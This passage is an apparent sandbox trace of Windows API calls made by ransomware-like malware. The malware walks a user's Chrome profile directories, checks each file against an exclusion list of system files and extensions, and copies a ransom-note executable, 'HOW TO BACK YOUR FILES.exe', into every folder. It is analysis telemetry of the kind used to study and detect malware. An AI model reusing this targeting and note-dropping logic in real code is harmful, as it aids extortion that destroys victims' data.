	[0047.125] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings") returned 99
	[0047.125] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Top Sites" | out: lpString1="Top Sites") returned="Top Sites"
	[0047.125] lstrlenW (lpString="Top Sites") returned 9
	[0047.125] lstrlenW (lpString="Apollon865") returned 10
	[0047.125] lstrlenW (lpString=".dll") returned 4
	[0047.126] lstrcmpiW (lpString1="Top Sites", lpString2=".dll") returned 1
	[0047.126] lstrlenW (lpString=".lnk") returned 4
	[0047.126] lstrcmpiW (lpString1="Top Sites", lpString2=".lnk") returned 1
	[0047.126] lstrlenW (lpString=".ini") returned 4
	[0047.126] lstrcmpiW (lpString1="Top Sites", lpString2=".ini") returned 1
	[0047.126] lstrlenW (lpString=".sys") returned 4
	[0047.126] lstrcmpiW (lpString1="Top Sites", lpString2=".sys") returned 1
	[0047.126] lstrlenW (lpString="Top Sites") returned 9
	[0047.126] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Top Sites-journal" | out: lpString1="Top Sites-journal") returned="Top Sites-journal"
	[0047.126] lstrlenW (lpString="Top Sites-journal") returned 17
	[0047.126] lstrlenW (lpString="Apollon865") returned 10
	[0047.126] lstrcmpiW (lpString1="es-journal", lpString2="Apollon865") returned 1
	[0047.126] lstrlenW (lpString=".dll") returned 4
	[0047.126] lstrcmpiW (lpString1="Top Sites-journal", lpString2=".dll") returned 1
	[0047.126] lstrlenW (lpString=".lnk") returned 4
	[0047.126] lstrcmpiW (lpString1="Top Sites-journal", lpString2=".lnk") returned 1
	[0047.126] lstrlenW (lpString=".ini") returned 4
	[0047.126] lstrcmpiW (lpString1="Top Sites-journal", lpString2=".ini") returned 1
	[0047.126] lstrlenW (lpString=".sys") returned 4
	[0047.126] lstrcmpiW (lpString1="Top Sites-journal", lpString2=".sys") returned 1
	[0047.126] lstrlenW (lpString="Top Sites-journal") returned 17
	[0047.126] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="TransportSecurity" | out: lpString1="TransportSecurity") returned="TransportSecurity"
	[0047.126] lstrlenW (lpString="TransportSecurity") returned 17
	[0047.126] lstrlenW (lpString="Apollon865") returned 10
	[0047.126] lstrcmpiW (lpString1="rtSecurity", lpString2="Apollon865") returned 1
	[0047.126] lstrlenW (lpString=".dll") returned 4
	[0047.126] lstrcmpiW (lpString1="TransportSecurity", lpString2=".dll") returned 1
	[0047.126] lstrlenW (lpString=".lnk") returned 4
	[0047.126] lstrcmpiW (lpString1="TransportSecurity", lpString2=".lnk") returned 1
	[0047.126] lstrlenW (lpString=".ini") returned 4
	[0047.126] lstrcmpiW (lpString1="TransportSecurity", lpString2=".ini") returned 1
	[0047.127] lstrlenW (lpString=".sys") returned 4
	[0047.127] lstrcmpiW (lpString1="TransportSecurity", lpString2=".sys") returned 1
	[0047.127] lstrlenW (lpString="TransportSecurity") returned 17
	[0047.127] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Visited Links" | out: lpString1="Visited Links") returned="Visited Links"
	[0047.127] lstrlenW (lpString="Visited Links") returned 13
	[0047.127] lstrlenW (lpString="Apollon865") returned 10
	[0047.127] lstrcmpiW (lpString1="ited Links", lpString2="Apollon865") returned 1
	[0047.127] lstrlenW (lpString=".dll") returned 4
	[0047.127] lstrcmpiW (lpString1="Visited Links", lpString2=".dll") returned 1
	[0047.127] lstrlenW (lpString=".lnk") returned 4
	[0047.127] lstrcmpiW (lpString1="Visited Links", lpString2=".lnk") returned 1
	[0047.127] lstrlenW (lpString=".ini") returned 4
	[0047.127] lstrcmpiW (lpString1="Visited Links", lpString2=".ini") returned 1
	[0047.127] lstrlenW (lpString=".sys") returned 4
	[0047.127] lstrcmpiW (lpString1="Visited Links", lpString2=".sys") returned 1
	[0047.127] lstrlenW (lpString="Visited Links") returned 13
	[0047.127] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Web Applications" | out: lpString1="Web Applications") returned="Web Applications"
	[0047.127] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0047.127] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5aa700
	[0047.127] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0047.127] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f86c660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f86c660, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82d370c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Data", cAlternateFileName="WEBDAT~1")) returned 1
	[0047.127] lstrcmpiW (lpString1="Web Data", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.127] lstrcmpiW (lpString1="Web Data", lpString2="Apollon865.txt.exe") returned 1
	[0047.127] lstrcmpiW (lpString1="Web Data", lpString2=".") returned 1
	[0047.127] lstrcmpiW (lpString1="Web Data", lpString2="..") returned 1
	[0047.127] lstrcmpiW (lpString1="Web Data", lpString2="windows") returned -1
	[0047.127] lstrcmpiW (lpString1="Web Data", lpString2="bootmgr") returned 1
	[0047.127] lstrcmpiW (lpString1="Web Data", lpString2="temp") returned 1
	[0047.127] lstrcmpiW (lpString1="Web Data", lpString2="pagefile.sys") returned 1
	[0047.128] lstrcmpiW (lpString1="Web Data", lpString2="boot") returned 1
	[0047.128] lstrcmpiW (lpString1="Web Data", lpString2="ids.txt") returned 1
	[0047.128] lstrcmpiW (lpString1="Web Data", lpString2="ntuser.dat") returned 1
	[0047.128] lstrcmpiW (lpString1="Web Data", lpString2="perflogs") returned 1
	[0047.128] lstrcmpiW (lpString1="Web Data", lpString2="MSBuild") returned 1
	[0047.128] lstrlenW (lpString="Web Data") returned 8
	[0047.128] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications") returned 92
	[0047.128] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Web Data" | out: lpString1="Web Data") returned="Web Data"
	[0047.128] lstrlenW (lpString="Web Data") returned 8
	[0047.128] lstrlenW (lpString="Apollon865") returned 10
	[0047.128] lstrlenW (lpString=".dll") returned 4
	[0047.128] lstrcmpiW (lpString1="Web Data", lpString2=".dll") returned 1
	[0047.128] lstrlenW (lpString=".lnk") returned 4
	[0047.128] lstrcmpiW (lpString1="Web Data", lpString2=".lnk") returned 1
	[0047.128] lstrlenW (lpString=".ini") returned 4
	[0047.128] lstrcmpiW (lpString1="Web Data", lpString2=".ini") returned 1
	[0047.128] lstrlenW (lpString=".sys") returned 4
	[0047.128] lstrcmpiW (lpString1="Web Data", lpString2=".sys") returned 1
	[0047.128] lstrlenW (lpString="Web Data") returned 8
	[0047.134] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Web Data-journal" | out: lpString1="Web Data-journal") returned="Web Data-journal"
	[0047.134] lstrlenW (lpString="Web Data-journal") returned 16
	[0047.134] lstrlenW (lpString="Apollon865") returned 10
	[0047.134] lstrcmpiW (lpString1="ta-journal", lpString2="Apollon865") returned 1
	[0047.134] lstrlenW (lpString=".dll") returned 4
	[0047.134] lstrcmpiW (lpString1="Web Data-journal", lpString2=".dll") returned 1
	[0047.134] lstrlenW (lpString=".lnk") returned 4
	[0047.134] lstrcmpiW (lpString1="Web Data-journal", lpString2=".lnk") returned 1
	[0047.134] lstrlenW (lpString=".ini") returned 4
	[0047.134] lstrcmpiW (lpString1="Web Data-journal", lpString2=".ini") returned 1
	[0047.134] lstrlenW (lpString=".sys") returned 4
	[0047.134] lstrcmpiW (lpString1="Web Data-journal", lpString2=".sys") returned 1
	[0047.134] lstrlenW (lpString="Web Data-journal") returned 16
	[0047.135] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications"
	[0047.135] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa700 | out: hHeap=0x580000) returned 1
	[0047.135] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0047.135] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications") returned 92
	[0047.135] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications"
	[0047.136] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.136] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.144] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.144] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x342b0dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x342b0dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.144] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.144] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.145] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0047.145] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x342b0dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x342b0dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0047.145] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.145] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0047.145] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0047.145] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0047.145] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x342b0dd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x342b0dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0047.145] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0047.145] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_crx_aohghmighlieiainnegkcijnfilokake", cAlternateFileName="_CRX_A~1")) returned 1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="Apollon865.txt.exe") returned -1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2=".") returned 1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="..") returned 1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="windows") returned -1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="bootmgr") returned -1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="temp") returned -1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="pagefile.sys") returned -1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="boot") returned -1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="ids.txt") returned -1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="ntuser.dat") returned -1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="perflogs") returned -1
	[0047.145] lstrcmpiW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="MSBuild") returned -1
	[0047.145] lstrlenW (lpString="_crx_aohghmighlieiainnegkcijnfilokake") returned 37
	[0047.145] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*") returned 94
	[0047.145] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="_crx_aohghmighlieiainnegkcijnfilokake" | out: lpString1="_crx_aohghmighlieiainnegkcijnfilokake") returned="_crx_aohghmighlieiainnegkcijnfilokake"
	[0047.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0047.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x106) returned 0x5bacb8
	[0047.145] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0047.145] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_crx_aohghmighlieiainnegkcijnfilokake", cAlternateFileName="_CRX_A~1")) returned 0
	[0047.146] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0047.146] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0047.146] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake"
	[0047.146] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0047.146] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0047.146] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake") returned 130
	[0047.146] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake"
	[0047.146] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.146] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.153] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.153] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x342d6f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x342d6f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.153] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.153] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.153] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0047.153] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x342d6f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x342d6f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0047.153] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.153] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0047.153] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0047.153] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0047.153] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8687f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x28df6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google Docs.ico", cAlternateFileName="GOOGLE~1.ICO")) returned 1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2="Apollon865.txt.exe") returned 1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2=".") returned 1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2="..") returned 1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2="windows") returned -1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2="bootmgr") returned 1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2="temp") returned -1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2="pagefile.sys") returned -1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2="boot") returned 1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2="ids.txt") returned -1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2="ntuser.dat") returned -1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2="perflogs") returned -1
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2="MSBuild") returned -1
	[0047.154] lstrlenW (lpString="Google Docs.ico") returned 15
	[0047.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*") returned 132
	[0047.154] lstrcpyW (in: lpString1=0x2d3e656, lpString2="Google Docs.ico" | out: lpString1="Google Docs.ico") returned="Google Docs.ico"
	[0047.154] lstrlenW (lpString="Google Docs.ico") returned 15
	[0047.154] lstrlenW (lpString="Apollon865") returned 10
	[0047.154] lstrcmpiW (lpString1="e Docs.ico", lpString2="Apollon865") returned 1
	[0047.154] lstrlenW (lpString=".dll") returned 4
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2=".dll") returned 1
	[0047.154] lstrlenW (lpString=".lnk") returned 4
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2=".lnk") returned 1
	[0047.154] lstrlenW (lpString=".ini") returned 4
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2=".ini") returned 1
	[0047.154] lstrlenW (lpString=".sys") returned 4
	[0047.154] lstrcmpiW (lpString1="Google Docs.ico", lpString2=".sys") returned 1
	[0047.154] lstrlenW (lpString="Google Docs.ico") returned 15
	[0047.154] lstrcpyW (in: lpString1=0x2d3e656, lpString2="Google Docs.ico.md5" | out: lpString1="Google Docs.ico.md5") returned="Google Docs.ico.md5"
	[0047.155] lstrlenW (lpString="Google Docs.ico.md5") returned 19
	[0047.155] lstrlenW (lpString="Apollon865") returned 10
	[0047.155] lstrcmpiW (lpString1="cs.ico.md5", lpString2="Apollon865") returned 1
	[0047.155] lstrlenW (lpString=".dll") returned 4
	[0047.155] lstrcmpiW (lpString1="Google Docs.ico.md5", lpString2=".dll") returned 1
	[0047.155] lstrlenW (lpString=".lnk") returned 4
	[0047.155] lstrcmpiW (lpString1="Google Docs.ico.md5", lpString2=".lnk") returned 1
	[0047.155] lstrlenW (lpString=".ini") returned 4
	[0047.155] lstrcmpiW (lpString1="Google Docs.ico.md5", lpString2=".ini") returned 1
	[0047.155] lstrlenW (lpString=".sys") returned 4
	[0047.155] lstrcmpiW (lpString1="Google Docs.ico.md5", lpString2=".sys") returned 1
	[0047.155] lstrlenW (lpString="Google Docs.ico.md5") returned 19
	[0047.155] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings"
	[0047.155] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0047.155] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0047.155] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings") returned 99
	[0047.155] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings"
	[0047.155] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.155] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.165] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.165] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x342d6f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x342d6f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.165] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.165] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.165] lstrcmpiW (lpString1=".", lpString2=".") returned 0
